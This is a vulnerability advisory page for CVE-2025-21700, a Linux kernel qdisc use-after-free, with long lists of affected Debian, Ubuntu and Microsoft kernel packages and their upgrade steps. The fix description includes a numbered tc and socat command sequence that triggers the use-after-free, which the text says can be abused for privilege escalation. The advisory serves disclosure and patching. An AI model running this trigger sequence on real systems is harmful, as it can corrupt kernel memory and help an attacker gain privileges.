CVE-2025-21700: net: sched: Disallow replacing of child qdisc from one parent to another

Published Feb 13, 2025
·
Updated

In the Linux kernel, the following vulnerability has been resolved:

net: sched: Disallow replacing of child qdisc from one parent to another

Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script

Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr

step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr

step3. a class for nesting tc class add dev lo classid 1:2 drr

step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr

step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024

step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr

step7. tc class add dev lo classid 3:1 drr

step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo

step 9. Display the class/qdisc layout

tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2

step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0

step 11. Redisplay again the qdiscs/classes

tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2

Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it.

Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))

step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1

The semantics of "replace" is for a del/add on the same node and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config".

Joint work with Lion Ackermann <nnamrec@gmail.com>

Other sources

This CVE was automatically created from a reference found in an email or other text. If you are reading this, then this CVE entry is probably erroneous, since this text should be replaced by the official CVE description automatically.

— Launchpad

Affected Software

221 affected componentsFixes available
Linux Linux kernel
Linux Linux kernel>=2.6.12<5.4.291
Linux Linux kernel>=5.5<5.10.235
Linux Linux kernel>=5.11<5.15.179
Linux Linux kernel>=5.16<6.1.129
Linux Linux kernel>=6.2<6.6.76
Linux Linux kernel>=6.7<6.12.13
Linux Linux kernel>=6.13<6.13.2
debian/linux<=5.10.223-1, <=5.10.234-1
6.1.129-16.1.135-16.12.27-1
debian/linux-6.1
6.1.129-1~deb11u1
Microsoft cbl2 kernel 5.15.176.3-3
Patch available
Microsoft cbl2 kernel 5.15.180.1-1
Patch available
Microsoft cbl2 kernel 5.15.176.3-3
Patch available
ubuntu/linux*
ubuntu/linux-aws<4.4.0-1142.148
4.4.0-1142.148
ubuntu/linux-azure<4.15.0-1187.202~14.04.1
4.15.0-1187.202~14.04.1
ubuntu/linux-lts-xenial<4.4.0-267.301~14.04.1
4.4.0-267.301~14.04.1
ubuntu/linux<4.4.0-267.301
4.4.0-267.301
ubuntu/linux-aws<4.4.0-1180.195
4.4.0-1180.195
ubuntu/linux-aws-hwe<4.15.0-1179.192~16.04.1
4.15.0-1179.192~16.04.1
ubuntu/linux-azure<4.15.0-1187.202~16.04.1
4.15.0-1187.202~16.04.1
ubuntu/linux-gcp<4.15.0-1172.189~16.04.1
4.15.0-1172.189~16.04.1
ubuntu/linux-hwe<4.15.0-236.248~16.04.1
4.15.0-236.248~16.04.1
ubuntu/linux-kvm<4.4.0-1143.154
4.4.0-1143.154
ubuntu/linux-oracle<4.15.0-1141.152~16.04.1
4.15.0-1141.152~16.04.1
ubuntu/linux-hwe-edge*
ubuntu/linux-fips<4.4.0-1112.119
4.4.0-1112.119
ubuntu/linux-fips*
ubuntu/linux<4.15.0-236.248
4.15.0-236.248
ubuntu/linux-aws<4.15.0-1179.192
4.15.0-1179.192
ubuntu/linux-aws-5.0*
ubuntu/linux-aws-5.3*
ubuntu/linux-aws-5.4<5.4.0-1144.154~18.04.1
5.4.0-1144.154~18.04.1
ubuntu/linux-azure*
ubuntu/linux-azure-4.15<4.15.0-1187.202
4.15.0-1187.202
ubuntu/linux-azure-5.3*
ubuntu/linux-azure-5.4<5.4.0-1149.156~18.04.1
5.4.0-1149.156~18.04.1
ubuntu/linux-azure-edge*
ubuntu/linux-gcp*
ubuntu/linux-gcp-4.15<4.15.0-1172.189
4.15.0-1172.189
ubuntu/linux-gcp-5.3*
ubuntu/linux-gcp-5.4<5.4.0-1147.156~18.04.1
5.4.0-1147.156~18.04.1
ubuntu/linux-gke-4.15*
ubuntu/linux-gke-5.4*
ubuntu/linux-gkeop-5.4*
ubuntu/linux-hwe*
ubuntu/linux-hwe-5.4<5.4.0-214.234~18.04.1
5.4.0-214.234~18.04.1
ubuntu/linux-hwe-edge*
ubuntu/linux-ibm-5.4<5.4.0-1090.95~18.04.1
5.4.0-1090.95~18.04.1
ubuntu/linux-kvm<4.15.0-1162.167
4.15.0-1162.167
ubuntu/linux-oem*
ubuntu/linux-oracle<4.15.0-1141.152
4.15.0-1141.152
ubuntu/linux-oracle-5.0*
ubuntu/linux-oracle-5.3*
ubuntu/linux-oracle-5.4<5.4.0-1142.152~18.04.1
5.4.0-1142.152~18.04.1
ubuntu/linux-raspi-5.4<5.4.0-1129.142~18.04.1
5.4.0-1129.142~18.04.1
ubuntu/linux-aws-fips<4.15.0-2117.123
4.15.0-2117.123
ubuntu/linux-azure-fips<4.15.0-2096.102
4.15.0-2096.102
ubuntu/linux-fips<4.15.0-1134.145
4.15.0-1134.145
ubuntu/linux-gcp-fips<4.15.0-2080.86
4.15.0-2080.86
ubuntu/linux-aws-fips*
ubuntu/linux-azure-fips*
ubuntu/linux-fips*
ubuntu/linux-gcp-fips*
ubuntu/linux<5.4.0-214.234
5.4.0-214.234
ubuntu/linux-aws<5.4.0-1144.154
5.4.0-1144.154
ubuntu/linux-aws-5.15<5.15.0-1082.89~20.04.1
5.15.0-1082.89~20.04.1
ubuntu/linux-azure<5.4.0-1149.156
5.4.0-1149.156
ubuntu/linux-azure-5.15<5.15.0-1087.96~20.04.1
5.15.0-1087.96~20.04.1
ubuntu/linux-bluefield<5.4.0-1103.110
5.4.0-1103.110
ubuntu/linux-gcp<5.4.0-1147.156
5.4.0-1147.156
ubuntu/linux-gcp-5.15<5.15.0-1081.90~20.04.1
5.15.0-1081.90~20.04.1
ubuntu/linux-hwe-5.15<5.15.0-138.148~20.04.1
5.15.0-138.148~20.04.1
ubuntu/linux-ibm<5.4.0-1090.95
5.4.0-1090.95
ubuntu/linux-ibm-5.15<5.15.0-1074.77~20.04.1
5.15.0-1074.77~20.04.1
ubuntu/linux-intel-iotg-5.15<5.15.0-1077.83~20.04.1
5.15.0-1077.83~20.04.1
ubuntu/linux-iot<5.4.0-1049.52
5.4.0-1049.52
ubuntu/linux-kvm<5.4.0-1131.140
5.4.0-1131.140
ubuntu/linux-lowlatency-hwe-5.15<5.15.0-138.148~20.04.1
5.15.0-138.148~20.04.1
ubuntu/linux-oracle<5.4.0-1142.152
5.4.0-1142.152
ubuntu/linux-oracle-5.15<5.15.0-1079.85~20.04.1
5.15.0-1079.85~20.04.1
ubuntu/linux-raspi<5.4.0-1129.142
5.4.0-1129.142
ubuntu/linux-riscv-5.15<5.15.0-1077.81~20.04.1
5.15.0-1077.81~20.04.1
ubuntu/linux-xilinx-zynqmp<5.4.0-1062.66
5.4.0-1062.66
ubuntu/linux-aws-5.11*
ubuntu/linux-aws-5.13*
ubuntu/linux-aws-5.8*
ubuntu/linux-azure-5.11*
ubuntu/linux-azure-5.13*
ubuntu/linux-azure-5.8*
ubuntu/linux-azure-fde*
ubuntu/linux-gcp-5.11*
ubuntu/linux-gcp-5.13*
ubuntu/linux-gcp-5.8*
ubuntu/linux-gke*
ubuntu/linux-gke-5.15*
ubuntu/linux-gkeop*
ubuntu/linux-gkeop-5.15*
ubuntu/linux-hwe-5.11*
ubuntu/linux-hwe-5.13*
ubuntu/linux-hwe-5.8*
ubuntu/linux-intel-5.13*
ubuntu/linux-nvidia-tegra-5.15<5.15.0-1039.39~20.04.1
5.15.0-1039.39~20.04.1
ubuntu/linux-oem-5.10*
ubuntu/linux-oem-5.13*
ubuntu/linux-oem-5.6*
ubuntu/linux-oracle-5.11*
ubuntu/linux-oracle-5.13*
ubuntu/linux-oracle-5.8*
ubuntu/linux-raspi2*
ubuntu/linux-riscv*
ubuntu/linux-riscv-5.11*
ubuntu/linux-riscv-5.8*
ubuntu/linux-aws-fips<5.4.0-1144.155+fips1
5.4.0-1144.155+fips1
ubuntu/linux-azure-fips<5.4.0-1149.157+fips1
5.4.0-1149.157+fips1
ubuntu/linux-fips<5.4.0-1118.128
5.4.0-1118.128
ubuntu/linux-gcp-fips<5.4.0-1147.156+fips1
5.4.0-1147.156+fips1
ubuntu/linux-aws-fips*
ubuntu/linux-azure-fips*
ubuntu/linux-fips*
ubuntu/linux-gcp-fips*
ubuntu/linux<5.15.0-138.148
5.15.0-138.148
ubuntu/linux-allwinner-5.19*
ubuntu/linux-aws<5.15.0-1082.89
5.15.0-1082.89
ubuntu/linux-aws-5.19*
ubuntu/linux-aws-6.2*
ubuntu/linux-aws-6.5*
ubuntu/linux-aws-6.8<6.8.0-1027.29~22.04.1
6.8.0-1027.29~22.04.1
ubuntu/linux-azure<5.15.0-1087.96
5.15.0-1087.96
ubuntu/linux-azure-5.19*
ubuntu/linux-azure-6.2*
ubuntu/linux-azure-6.5*
ubuntu/linux-azure-6.8<6.8.0-1027.32~22.04.1
6.8.0-1027.32~22.04.1
ubuntu/linux-azure-fde<5.15.0-1087.96.1
5.15.0-1087.96.1
ubuntu/linux-azure-fde-5.19*
ubuntu/linux-azure-fde-6.2*
ubuntu/linux-gcp<5.15.0-1081.90
5.15.0-1081.90
ubuntu/linux-gcp-5.19*
ubuntu/linux-gcp-6.2*
ubuntu/linux-gcp-6.5*
ubuntu/linux-gcp-6.8<6.8.0-1028.30~22.04.1
6.8.0-1028.30~22.04.1
ubuntu/linux-gke<5.15.0-1079.85
5.15.0-1079.85
ubuntu/linux-gkeop<5.15.0-1064.72
5.15.0-1064.72
ubuntu/linux-hwe-5.19*
ubuntu/linux-hwe-6.2*
ubuntu/linux-hwe-6.5*
ubuntu/linux-hwe-6.8<6.8.0-58.60~22.04.1
6.8.0-58.60~22.04.1
ubuntu/linux-ibm<5.15.0-1074.77
5.15.0-1074.77
ubuntu/linux-ibm-6.8<6.8.0-1024.24~22.04.1
6.8.0-1024.24~22.04.1
ubuntu/linux-intel-iot-realtime*
ubuntu/linux-intel-iotg<5.15.0-1077.83
5.15.0-1077.83
ubuntu/linux-kvm<5.15.0-1078.83
5.15.0-1078.83
ubuntu/linux-lowlatency<5.15.0-138.148
5.15.0-138.148
ubuntu/linux-lowlatency-hwe-5.19*
ubuntu/linux-lowlatency-hwe-6.2*
ubuntu/linux-lowlatency-hwe-6.5*
ubuntu/linux-lowlatency-hwe-6.8<6.8.0-58.60.1~22.04.1
6.8.0-58.60.1~22.04.1
ubuntu/linux-nvidia<5.15.0-1076.77
5.15.0-1076.77
ubuntu/linux-nvidia-6.2*
ubuntu/linux-nvidia-6.5*
ubuntu/linux-nvidia-6.8<6.8.0-1026.29~22.04.1
6.8.0-1026.29~22.04.1
ubuntu/linux-nvidia-tegra<5.15.0-1035.35
5.15.0-1035.35
ubuntu/linux-nvidia-tegra-igx<5.15.0-1023.23
5.15.0-1023.23
ubuntu/linux-oem-5.17*
ubuntu/linux-oem-6.0*
ubuntu/linux-oem-6.1*
ubuntu/linux-oem-6.5*
ubuntu/linux-oracle<5.15.0-1079.85
5.15.0-1079.85
ubuntu/linux-oracle-6.5*
ubuntu/linux-oracle-6.8<6.8.0-1024.25~22.04.1
6.8.0-1024.25~22.04.1
ubuntu/linux-raspi<5.15.0-1076.79
5.15.0-1076.79
ubuntu/linux-realtime*
ubuntu/linux-riscv*
ubuntu/linux-riscv-5.19*
ubuntu/linux-riscv-6.5*
ubuntu/linux-riscv-6.8<6.8.0-58.60.1~22.04.1
6.8.0-58.60.1~22.04.1
ubuntu/linux-starfive-5.19*
ubuntu/linux-starfive-6.2*
ubuntu/linux-starfive-6.5*
ubuntu/linux-xilinx-zynqmp<5.15.0-1046.50
5.15.0-1046.50
ubuntu/linux-bluefield<5.15.0-1064.66
5.15.0-1064.66
ubuntu/linux-intel-iot-realtime<5.15.0-1075.77
5.15.0-1075.77
ubuntu/linux-realtime<5.15.0-1082.91
5.15.0-1082.91
ubuntu/linux-realtime-6.8<6.8.1-1020.21~22.04.1
6.8.1-1020.21~22.04.1
ubuntu/linux-aws-fips*
ubuntu/linux-azure-fips*
ubuntu/linux-fips*
ubuntu/linux-gcp-fips*
ubuntu/linux-aws-fips<5.15.0-1082.89+fips1
5.15.0-1082.89+fips1
ubuntu/linux-azure-fips<5.15.0-1087.96+fips1
5.15.0-1087.96+fips1
ubuntu/linux-fips<5.15.0-138.148+fips1
5.15.0-138.148+fips1
ubuntu/linux-gcp-fips<5.15.0-1081.90+fips1
5.15.0-1081.90+fips1
ubuntu/linux<6.8.0-58.60
6.8.0-58.60
ubuntu/linux-aws<6.8.0-1027.29
6.8.0-1027.29
ubuntu/linux-azure<6.8.0-1027.32
6.8.0-1027.32
ubuntu/linux-azure-6.11<6.11.0-1013.13~24.04.1
6.11.0-1013.13~24.04.1
ubuntu/linux-azure-nvidia<6.8.0-1014.15
6.8.0-1014.15
ubuntu/linux-gcp<6.8.0-1028.30
6.8.0-1028.30
ubuntu/linux-gcp-6.11<6.11.0-1013.13~24.04.1
6.11.0-1013.13~24.04.1
ubuntu/linux-gke<6.8.0-1023.27
6.8.0-1023.27
ubuntu/linux-gkeop<6.8.0-1010.12
6.8.0-1010.12
ubuntu/linux-hwe-6.11<6.11.0-24.24~24.04.1
6.11.0-24.24~24.04.1
ubuntu/linux-ibm<6.8.0-1024.24
6.8.0-1024.24
ubuntu/linux-lowlatency<6.8.0-58.60.1
6.8.0-58.60.1
ubuntu/linux-lowlatency-hwe-6.11<6.11.0-1012.13~24.04.1
6.11.0-1012.13~24.04.1
ubuntu/linux-nvidia<6.8.0-1026.29
6.8.0-1026.29
ubuntu/linux-nvidia-6.11<6.11.0-1007.7
6.11.0-1007.7
ubuntu/linux-nvidia-lowlatency<6.8.0-1026.29.1
6.8.0-1026.29.1
ubuntu/linux-nvidia-tegra<6.8.0-1008.8
6.8.0-1008.8
ubuntu/linux-oem-6.11<6.11.0-1020.20
6.11.0-1020.20
ubuntu/linux-oem-6.8<6.8.0-1026.26
6.8.0-1026.26
ubuntu/linux-oracle<6.8.0-1024.25
6.8.0-1024.25
ubuntu/linux-raspi<6.8.0-1028.32
6.8.0-1028.32
ubuntu/linux-raspi-realtime*
ubuntu/linux-realtime*
ubuntu/linux-riscv<6.8.0-58.60.1
6.8.0-58.60.1
ubuntu/linux-xilinx<6.8.0-1017.18
6.8.0-1017.18
ubuntu/linux-raspi-realtime<6.8.0-2023.24
6.8.0-2023.24
ubuntu/linux-realtime<6.8.1-1020.21
6.8.1-1020.21
ubuntu/linux-fips<6.8.0-78.78+fips1
6.8.0-78.78+fips1
ubuntu/linux-vmware*

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade debian/linux to a version that resolves this vulnerability.

    Fixed in 6.1.129-1Fixed in 6.1.135-1Fixed in 6.12.27-1
  2. Upgrade

    Upgrade debian/linux-6.1 to a version that resolves this vulnerability.

    Fixed in 6.1.129-1~deb11u1
  3. Upgrade

    Upgrade ubuntu/linux-aws to a version that resolves this vulnerability.

    Fixed in 4.4.0-1142.148
  4. Upgrade

    Upgrade ubuntu/linux-azure to a version that resolves this vulnerability.

    Fixed in 4.15.0-1187.202~14.04.1
  5. Upgrade

    Upgrade ubuntu/linux-lts-xenial to a version that resolves this vulnerability.

    Fixed in 4.4.0-267.301~14.04.1
  6. Upgrade

    Upgrade ubuntu/linux to a version that resolves this vulnerability.

    Fixed in 4.4.0-267.301
  7. Upgrade

    Upgrade ubuntu/linux-aws to a version that resolves this vulnerability.

    Fixed in 4.4.0-1180.195
  8. Upgrade

    Upgrade ubuntu/linux-aws-hwe to a version that resolves this vulnerability.

    Fixed in 4.15.0-1179.192~16.04.1
  9. Upgrade

    Upgrade ubuntu/linux-azure to a version that resolves this vulnerability.

    Fixed in 4.15.0-1187.202~16.04.1
  10. Upgrade

    Upgrade ubuntu/linux-gcp to a version that resolves this vulnerability.

    Fixed in 4.15.0-1172.189~16.04.1
  11. Upgrade

    Upgrade ubuntu/linux-hwe to a version that resolves this vulnerability.

    Fixed in 4.15.0-236.248~16.04.1
  12. Upgrade

    Upgrade ubuntu/linux-kvm to a version that resolves this vulnerability.

    Fixed in 4.4.0-1143.154
  13. Upgrade

    Upgrade ubuntu/linux-oracle to a version that resolves this vulnerability.

    Fixed in 4.15.0-1141.152~16.04.1
  14. Upgrade

    Upgrade ubuntu/linux-fips to a version that resolves this vulnerability.

    Fixed in 4.4.0-1112.119
  15. Upgrade

    Upgrade ubuntu/linux to a version that resolves this vulnerability.

    Fixed in 4.15.0-236.248
  16. Upgrade

    Upgrade ubuntu/linux-aws to a version that resolves this vulnerability.

    Fixed in 4.15.0-1179.192
  17. Upgrade

    Upgrade ubuntu/linux-aws-5.4 to a version that resolves this vulnerability.

    Fixed in 5.4.0-1144.154~18.04.1
  18. Upgrade

    Upgrade ubuntu/linux-azure-4.15 to a version that resolves this vulnerability.

    Fixed in 4.15.0-1187.202
  19. Upgrade

    Upgrade ubuntu/linux-azure-5.4 to a version that resolves this vulnerability.

    Fixed in 5.4.0-1149.156~18.04.1
  20. Upgrade

    Upgrade ubuntu/linux-gcp-4.15 to a version that resolves this vulnerability.

    Fixed in 4.15.0-1172.189
  21. Upgrade

    Upgrade ubuntu/linux-gcp-5.4 to a version that resolves this vulnerability.

    Fixed in 5.4.0-1147.156~18.04.1
  22. Upgrade

    Upgrade ubuntu/linux-hwe-5.4 to a version that resolves this vulnerability.

    Fixed in 5.4.0-214.234~18.04.1
  23. Upgrade

    Upgrade ubuntu/linux-ibm-5.4 to a version that resolves this vulnerability.

    Fixed in 5.4.0-1090.95~18.04.1
  24. Upgrade

    Upgrade ubuntu/linux-kvm to a version that resolves this vulnerability.

    Fixed in 4.15.0-1162.167
  25. Upgrade

    Upgrade ubuntu/linux-oracle to a version that resolves this vulnerability.

    Fixed in 4.15.0-1141.152
  26. Upgrade

    Upgrade ubuntu/linux-oracle-5.4 to a version that resolves this vulnerability.

    Fixed in 5.4.0-1142.152~18.04.1
  27. Upgrade

    Upgrade ubuntu/linux-raspi-5.4 to a version that resolves this vulnerability.

    Fixed in 5.4.0-1129.142~18.04.1
  28. Upgrade

    Upgrade ubuntu/linux-aws-fips to a version that resolves this vulnerability.

    Fixed in 4.15.0-2117.123
  29. Upgrade

    Upgrade ubuntu/linux-azure-fips to a version that resolves this vulnerability.

    Fixed in 4.15.0-2096.102
  30. Upgrade

    Upgrade ubuntu/linux-fips to a version that resolves this vulnerability.

    Fixed in 4.15.0-1134.145
  31. Upgrade

    Upgrade ubuntu/linux-gcp-fips to a version that resolves this vulnerability.

    Fixed in 4.15.0-2080.86
  32. Upgrade

    Upgrade ubuntu/linux to a version that resolves this vulnerability.

    Fixed in 5.4.0-214.234
  33. Upgrade

    Upgrade ubuntu/linux-aws to a version that resolves this vulnerability.

    Fixed in 5.4.0-1144.154
  34. Upgrade

    Upgrade ubuntu/linux-aws-5.15 to a version that resolves this vulnerability.

    Fixed in 5.15.0-1082.89~20.04.1
  35. Upgrade

    Upgrade ubuntu/linux-azure to a version that resolves this vulnerability.

    Fixed in 5.4.0-1149.156
  36. Upgrade

    Upgrade ubuntu/linux-azure-5.15 to a version that resolves this vulnerability.

    Fixed in 5.15.0-1087.96~20.04.1
  37. Upgrade

    Upgrade ubuntu/linux-bluefield to a version that resolves this vulnerability.

    Fixed in 5.4.0-1103.110
  38. Upgrade

    Upgrade ubuntu/linux-gcp to a version that resolves this vulnerability.

    Fixed in 5.4.0-1147.156
  39. Upgrade

    Upgrade ubuntu/linux-gcp-5.15 to a version that resolves this vulnerability.

    Fixed in 5.15.0-1081.90~20.04.1
  40. Upgrade

    Upgrade ubuntu/linux-hwe-5.15 to a version that resolves this vulnerability.

    Fixed in 5.15.0-138.148~20.04.1
  41. Upgrade

    Upgrade ubuntu/linux-ibm to a version that resolves this vulnerability.

    Fixed in 5.4.0-1090.95
  42. Upgrade

    Upgrade ubuntu/linux-ibm-5.15 to a version that resolves this vulnerability.

    Fixed in 5.15.0-1074.77~20.04.1
  43. Upgrade

    Upgrade ubuntu/linux-intel-iotg-5.15 to a version that resolves this vulnerability.

    Fixed in 5.15.0-1077.83~20.04.1
  44. Upgrade

    Upgrade ubuntu/linux-iot to a version that resolves this vulnerability.

    Fixed in 5.4.0-1049.52
  45. Upgrade

    Upgrade ubuntu/linux-kvm to a version that resolves this vulnerability.

    Fixed in 5.4.0-1131.140
  46. Upgrade

    Upgrade ubuntu/linux-lowlatency-hwe-5.15 to a version that resolves this vulnerability.

    Fixed in 5.15.0-138.148~20.04.1
  47. Upgrade

    Upgrade ubuntu/linux-oracle to a version that resolves this vulnerability.

    Fixed in 5.4.0-1142.152
  48. Upgrade

    Upgrade ubuntu/linux-oracle-5.15 to a version that resolves this vulnerability.

    Fixed in 5.15.0-1079.85~20.04.1
  49. Upgrade

    Upgrade ubuntu/linux-raspi to a version that resolves this vulnerability.

    Fixed in 5.4.0-1129.142
  50. Upgrade

    Upgrade ubuntu/linux-riscv-5.15 to a version that resolves this vulnerability.

    Fixed in 5.15.0-1077.81~20.04.1
  51. Upgrade

    Upgrade ubuntu/linux-xilinx-zynqmp to a version that resolves this vulnerability.

    Fixed in 5.4.0-1062.66
  52. Upgrade

    Upgrade ubuntu/linux-nvidia-tegra-5.15 to a version that resolves this vulnerability.

    Fixed in 5.15.0-1039.39~20.04.1
  53. Upgrade

    Upgrade ubuntu/linux-aws-fips to a version that resolves this vulnerability.

    Fixed in 5.4.0-1144.155+fips1
  54. Upgrade

    Upgrade ubuntu/linux-azure-fips to a version that resolves this vulnerability.

    Fixed in 5.4.0-1149.157+fips1
  55. Upgrade

    Upgrade ubuntu/linux-fips to a version that resolves this vulnerability.

    Fixed in 5.4.0-1118.128
  56. Upgrade

    Upgrade ubuntu/linux-gcp-fips to a version that resolves this vulnerability.

    Fixed in 5.4.0-1147.156+fips1
  57. Upgrade

    Upgrade ubuntu/linux to a version that resolves this vulnerability.

    Fixed in 5.15.0-138.148
  58. Upgrade

    Upgrade ubuntu/linux-aws to a version that resolves this vulnerability.

    Fixed in 5.15.0-1082.89
  59. Upgrade

    Upgrade ubuntu/linux-aws-6.8 to a version that resolves this vulnerability.

    Fixed in 6.8.0-1027.29~22.04.1
  60. Upgrade

    Upgrade ubuntu/linux-azure to a version that resolves this vulnerability.

    Fixed in 5.15.0-1087.96
  61. Upgrade

    Upgrade ubuntu/linux-azure-6.8 to a version that resolves this vulnerability.

    Fixed in 6.8.0-1027.32~22.04.1
  62. Upgrade

    Upgrade ubuntu/linux-azure-fde to a version that resolves this vulnerability.

    Fixed in 5.15.0-1087.96.1
  63. Upgrade

    Upgrade ubuntu/linux-gcp to a version that resolves this vulnerability.

    Fixed in 5.15.0-1081.90
  64. Upgrade

    Upgrade ubuntu/linux-gcp-6.8 to a version that resolves this vulnerability.

    Fixed in 6.8.0-1028.30~22.04.1
  65. Upgrade

    Upgrade ubuntu/linux-gke to a version that resolves this vulnerability.

    Fixed in 5.15.0-1079.85
  66. Upgrade

    Upgrade ubuntu/linux-gkeop to a version that resolves this vulnerability.

    Fixed in 5.15.0-1064.72
  67. Upgrade

    Upgrade ubuntu/linux-hwe-6.8 to a version that resolves this vulnerability.

    Fixed in 6.8.0-58.60~22.04.1
  68. Upgrade

    Upgrade ubuntu/linux-ibm to a version that resolves this vulnerability.

    Fixed in 5.15.0-1074.77
  69. Upgrade

    Upgrade ubuntu/linux-ibm-6.8 to a version that resolves this vulnerability.

    Fixed in 6.8.0-1024.24~22.04.1
  70. Upgrade

    Upgrade ubuntu/linux-intel-iotg to a version that resolves this vulnerability.

    Fixed in 5.15.0-1077.83
  71. Upgrade

    Upgrade ubuntu/linux-kvm to a version that resolves this vulnerability.

    Fixed in 5.15.0-1078.83
  72. Upgrade

    Upgrade ubuntu/linux-lowlatency to a version that resolves this vulnerability.

    Fixed in 5.15.0-138.148
  73. Upgrade

    Upgrade ubuntu/linux-lowlatency-hwe-6.8 to a version that resolves this vulnerability.

    Fixed in 6.8.0-58.60.1~22.04.1
  74. Upgrade

    Upgrade ubuntu/linux-nvidia to a version that resolves this vulnerability.

    Fixed in 5.15.0-1076.77
  75. Upgrade

    Upgrade ubuntu/linux-nvidia-6.8 to a version that resolves this vulnerability.

    Fixed in 6.8.0-1026.29~22.04.1
  76. Upgrade

    Upgrade ubuntu/linux-nvidia-tegra to a version that resolves this vulnerability.

    Fixed in 5.15.0-1035.35
  77. Upgrade

    Upgrade ubuntu/linux-nvidia-tegra-igx to a version that resolves this vulnerability.

    Fixed in 5.15.0-1023.23
  78. Upgrade

    Upgrade ubuntu/linux-oracle to a version that resolves this vulnerability.

    Fixed in 5.15.0-1079.85
  79. Upgrade

    Upgrade ubuntu/linux-oracle-6.8 to a version that resolves this vulnerability.

    Fixed in 6.8.0-1024.25~22.04.1
  80. Upgrade

    Upgrade ubuntu/linux-raspi to a version that resolves this vulnerability.

    Fixed in 5.15.0-1076.79
  81. Upgrade

    Upgrade ubuntu/linux-riscv-6.8 to a version that resolves this vulnerability.

    Fixed in 6.8.0-58.60.1~22.04.1
  82. Upgrade

    Upgrade ubuntu/linux-xilinx-zynqmp to a version that resolves this vulnerability.

    Fixed in 5.15.0-1046.50
  83. Upgrade

    Upgrade ubuntu/linux-bluefield to a version that resolves this vulnerability.

    Fixed in 5.15.0-1064.66
  84. Upgrade

    Upgrade ubuntu/linux-intel-iot-realtime to a version that resolves this vulnerability.

    Fixed in 5.15.0-1075.77
  85. Upgrade

    Upgrade ubuntu/linux-realtime to a version that resolves this vulnerability.

    Fixed in 5.15.0-1082.91
  86. Upgrade

    Upgrade ubuntu/linux-realtime-6.8 to a version that resolves this vulnerability.

    Fixed in 6.8.1-1020.21~22.04.1
  87. Upgrade

    Upgrade ubuntu/linux-aws-fips to a version that resolves this vulnerability.

    Fixed in 5.15.0-1082.89+fips1
  88. Upgrade

    Upgrade ubuntu/linux-azure-fips to a version that resolves this vulnerability.

    Fixed in 5.15.0-1087.96+fips1
  89. Upgrade

    Upgrade ubuntu/linux-fips to a version that resolves this vulnerability.

    Fixed in 5.15.0-138.148+fips1
  90. Upgrade

    Upgrade ubuntu/linux-gcp-fips to a version that resolves this vulnerability.

    Fixed in 5.15.0-1081.90+fips1
  91. Upgrade

    Upgrade ubuntu/linux to a version that resolves this vulnerability.

    Fixed in 6.8.0-58.60
  92. Upgrade

    Upgrade ubuntu/linux-aws to a version that resolves this vulnerability.

    Fixed in 6.8.0-1027.29
  93. Upgrade

    Upgrade ubuntu/linux-azure to a version that resolves this vulnerability.

    Fixed in 6.8.0-1027.32
  94. Upgrade

    Upgrade ubuntu/linux-azure-6.11 to a version that resolves this vulnerability.

    Fixed in 6.11.0-1013.13~24.04.1
  95. Upgrade

    Upgrade ubuntu/linux-azure-nvidia to a version that resolves this vulnerability.

    Fixed in 6.8.0-1014.15
  96. Upgrade

    Upgrade ubuntu/linux-gcp to a version that resolves this vulnerability.

    Fixed in 6.8.0-1028.30
  97. Upgrade

    Upgrade ubuntu/linux-gcp-6.11 to a version that resolves this vulnerability.

    Fixed in 6.11.0-1013.13~24.04.1
  98. Upgrade

    Upgrade ubuntu/linux-gke to a version that resolves this vulnerability.

    Fixed in 6.8.0-1023.27
  99. Upgrade

    Upgrade ubuntu/linux-gkeop to a version that resolves this vulnerability.

    Fixed in 6.8.0-1010.12
  100. Upgrade

    Upgrade ubuntu/linux-hwe-6.11 to a version that resolves this vulnerability.

    Fixed in 6.11.0-24.24~24.04.1
  101. Upgrade

    Upgrade ubuntu/linux-ibm to a version that resolves this vulnerability.

    Fixed in 6.8.0-1024.24
  102. Upgrade

    Upgrade ubuntu/linux-lowlatency to a version that resolves this vulnerability.

    Fixed in 6.8.0-58.60.1
  103. Upgrade

    Upgrade ubuntu/linux-lowlatency-hwe-6.11 to a version that resolves this vulnerability.

    Fixed in 6.11.0-1012.13~24.04.1
  104. Upgrade

    Upgrade ubuntu/linux-nvidia to a version that resolves this vulnerability.

    Fixed in 6.8.0-1026.29
  105. Upgrade

    Upgrade ubuntu/linux-nvidia-6.11 to a version that resolves this vulnerability.

    Fixed in 6.11.0-1007.7
  106. Upgrade

    Upgrade ubuntu/linux-nvidia-lowlatency to a version that resolves this vulnerability.

    Fixed in 6.8.0-1026.29.1
  107. Upgrade

    Upgrade ubuntu/linux-nvidia-tegra to a version that resolves this vulnerability.

    Fixed in 6.8.0-1008.8
  108. Upgrade

    Upgrade ubuntu/linux-oem-6.11 to a version that resolves this vulnerability.

    Fixed in 6.11.0-1020.20
  109. Upgrade

    Upgrade ubuntu/linux-oem-6.8 to a version that resolves this vulnerability.

